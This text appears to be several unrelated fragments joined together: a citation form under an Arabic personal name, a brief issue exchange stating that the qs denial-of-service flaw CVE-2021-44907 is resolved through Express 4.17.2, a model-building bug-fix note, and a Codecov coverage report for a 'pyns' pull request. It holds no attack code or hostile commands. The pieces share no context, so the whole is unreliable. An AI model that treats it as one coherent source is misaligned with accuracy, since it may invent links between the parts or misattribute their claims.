أبي طاهر بن عبد الباقي المعروف بابن قطرميز
Citation
No response
Citation URL
No response
Public Acknowledgement
Yes
Comments
No response

https://usaybia.net/person/787


CVE-2021-44907

https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-44907

A Denial  of Service vulnerability exists in qs up to 6.8.0

Thank you for this 😀 this CVE applies to 6.8.0 of qs or lower. We have already upgraded past that and the CVE is addressed, no need to worry. The fixed qs version is available in Express 4.17.2 or later.


Model building bug fixes

List of subjects is now passed to model creator, even if subject=None
Model added to list of mutable fields.

Codecov Report

Merging #24 into master will decrease coverage by 0.22%.
The diff coverage is 75%.

@@            Coverage Diff             @@
##           master      #24      +/-   ##
==========================================
- Coverage   93.55%   93.33%   -0.23%
==========================================
  Files          16       16
  Lines         357      360       +3
==========================================
+ Hits          334      336       +2
- Misses         23       24       +1

Impacted Files
Coverage Δ

pyns/models/analysis.py
86.17% <75%> (-0.65%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5ea685b...8814e1e. Read the comment docs.